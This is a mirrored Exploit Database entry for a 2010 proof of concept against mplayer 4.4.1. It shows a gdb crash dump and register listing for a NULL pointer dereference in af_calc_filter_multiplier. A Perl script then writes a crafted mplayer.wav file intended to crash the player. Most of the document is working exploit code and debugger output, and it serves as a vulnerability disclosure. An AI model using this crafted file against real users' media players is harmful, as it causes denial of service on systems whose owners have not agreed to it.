mplayer 4.4.1 – Null Pointer Dereference (PoC)

• Exploit Database
• 50 阅读

• 作者： Pietro Oliva
  日期： 2010-03-18
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/11792/

• # Exploit Title: mplayer <= 4.4.1 NULL pointer dereference exploit poc 0 day
  # Date: 17/03/2010
  # Author: Pietro Oliva
  # Software Link: 
  # Version: <= 4.4.1
  # Tested on: ubuntu 9.10 but should work in windows too
  # CVE :
  
  #Program received signal SIGSEGV, Segmentation fault.
  #0x081176d8 in af_calc_filter_multiplier ()
  #(gdb) disas af_calc_filter_multiplier 
  #Dump of assembler code for function af_calc_filter_multiplier:
  #0x081176d0 <af_calc_filter_multiplier+0>:	push %ebp
  #0x081176d1 <af_calc_filter_multiplier+1>:	mov%esp,%ebp
  #0x081176d3 <af_calc_filter_multiplier+3>:	fld1 
  #0x081176d5 <af_calc_filter_multiplier+5>:	mov0x8(%ebp),%eax
  #0x081176d8 <af_calc_filter_multiplier+8>:	mov(%eax),%eax	==> mplayer tries to dereference eax, which is a NULL pointer!!! 	
  #0x081176da <af_calc_filter_multiplier+10>:	lea0x0(%esi),%esi
  #0x081176e0 <af_calc_filter_multiplier+16>:	fmull0x28(%eax)
  #0x081176e3 <af_calc_filter_multiplier+19>:	mov0x18(%eax),%eax
  #0x081176e6 <af_calc_filter_multiplier+22>:	test %eax,%eax
  #0x081176e8 <af_calc_filter_multiplier+24>:	jne0x81176e0 <af_calc_filter_multiplier+16>
  #0x081176ea <af_calc_filter_multiplier+26>:	pop%ebp
  #0x081176eb <af_calc_filter_multiplier+27>:	ret
  #End of assembler dump.
  
  # REGISTERS:
  #eax0x0	0	==========> NULL
  #ecx0xfa157a57	-99255721
  #edx0x1fe0	8160
  #ebx0x8509a08	139500040
  #esp0xbfffe2e8	0xbfffe2e8
  #ebp0xbfffe2e8	0xbfffe2e8
  #esi0x7b84000	129515520
  #edi0xf8000	1015808
  #eip0x81176d8	0x81176d8 <af_calc_filter_multiplier+8>
  #eflags 0x10216	[ PF AF IF RF ]
  #cs 0x73	115
  #ss 0x7b	123
  #ds 0x7b	123
  #es 0x7b	123
  #fs 0x0	0
  #gs 0x33	51
  
  
  
  #!/usr/bin/perl
  
  print "[+] mplayer <= 4.4.1 NULL pointer dereference exploit poc 0 day by Pietro Oliva\n";
  print "[+] pietroliva[at]gmail[dot]comhttp://olivapietro.altervista.org\n";
  print "[+] creating crafted file mplayer.wav\n";
  $buffer="\x52\x49\x46\x46\x1f\x04\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20\x10\x00\x00\x00\x01\x00\x1f";
  open(file,"> mplayer.wav");
  print(file $buffer);
  print "[+] done!\n";